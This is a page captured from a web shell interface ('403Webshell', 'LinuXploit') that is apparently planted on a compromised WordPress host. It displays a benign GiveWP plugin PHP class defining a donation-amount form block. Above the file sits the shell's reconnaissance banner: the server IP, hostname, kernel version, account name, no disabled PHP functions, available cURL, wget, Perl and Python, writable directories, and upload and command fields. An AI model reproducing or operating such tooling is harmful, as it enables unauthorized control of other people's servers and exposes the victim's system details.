403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.20.233.31
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/FormBuilder/BlockTypes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/FormBuilder/BlockTypes//DonationAmountBlockType.php
<?php

namespace Give\FormBuilder\BlockTypes;

use Give\Framework\Blocks\BlockType;
use Give\Subscriptions\ValueObjects\SubscriptionPeriod;

/**
 * @since 3.8.0
 *
 * @property string $label
 * @property array $levels
 * @property float $defaultLevel
 * @property string $priceOption
 * @property int $setPrice
 * @property bool $customAmount
 * @property int $customAmountMin
 * @property int $customAmountMax
 * @property bool $recurringEnabled
 * @property int $recurringBillingInterval
 * @property array $recurringBillingPeriodOptions
 * @property int $recurringLengthOfTime
 * @property bool $recurringEnableOneTimeDonations
 * @property string $recurringOptInDefaultBillingPeriod
 */
class DonationAmountBlockType extends BlockType
{
    /**
     * @since 3.8.0
     */
    public static function name(): string
    {
        return 'givewp/donation-amount';
    }

    /**
     * @since 3.8.0
     */
    protected $properties = [
        'label' => 'string',
        'levels' => 'array',
        'defaultLevel' => 'float',
        'priceOption' => 'string',
        'setPrice' => 'int',
        'customAmount' => 'bool',
        'customAmountMin' => 'int',
        'customAmountMax' => 'int',
        'recurringEnabled' => 'bool',
        'recurringBillingInterval' => 'int',
        'recurringBillingPeriodOptions' => 'array',
        'recurringLengthOfTime' => 'int',
        'recurringEnableOneTimeDonations' => 'bool',
        'recurringOptInDefaultBillingPeriod' => 'string',
    ];

    /**
     * @since 3.12.0 Update levels array schema.
     * @since 3.8.0
     *
     * @return float[]
     */
    public function getLevels(): array
    {
        return array_map(static function($level) {
            return [
                'label' => (string)filter_var($level['label'] ?? '', FILTER_SANITIZE_STRING),
                'value' => (float)filter_var($level['value'] ?? '', FILTER_SANITIZE_NUMBER_FLOAT,FILTER_FLAG_ALLOW_FRACTION),
                'checked' => (bool)filter_var($level['checked'] ?? false, FILTER_VALIDATE_BOOLEAN),
            ];
        }, $this->block->getAttribute('levels'));
    }

    /**
     * @return bool
     */
    public function isRecurringFixed(): bool
    {
        return count($this->recurringBillingPeriodOptions) === 1 && $this->recurringEnableOneTimeDonations === false;
    }

    /**
     * @since 3.8.0
     */
    public function setRecurringEnabled(bool $enabled = true): self
    {
        $this->recurringEnabled = $enabled;

        return $this;
    }

    /**
     * @since 3.8.0
     */
    public function setRecurringEnableOneTimeDonations(bool $enabled = true): self
    {
        $this->recurringEnableOneTimeDonations = $enabled;

        return $this;
    }

    /**
     * @since 3.8.0
     */
    public function setRecurringBillingInterval(int $interval): self
    {
        $this->recurringBillingInterval = $interval;

        return $this;
    }

    /**
     * @since 3.8.0
     */
    public function setRecurringLengthOfTime(int $lengthOfTime): self
    {
        $this->recurringLengthOfTime = $lengthOfTime;

        return $this;
    }

    /**
     * @since 3.8.0
     */
    public function setRecurringBillingPeriodOptions(SubscriptionPeriod ...$options): self
    {
        $this->recurringBillingPeriodOptions =
            array_values(
                array_map(static function (SubscriptionPeriod $option) {
                    return $option->getValue();
                }, $options)
            );

        return $this;
    }

    /**
     * @since 3.8.0
     */
    public function setRecurringOptInDefaultBillingPeriod(SubscriptionPeriod $period): self
    {
        $this->recurringOptInDefaultBillingPeriod = $period->getValue();

        return $this;
    }

    /**
     * @since 3.0.0
     */
    public function isCustomAmountEnabled(): bool
    {
        return $this->customAmount === true;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit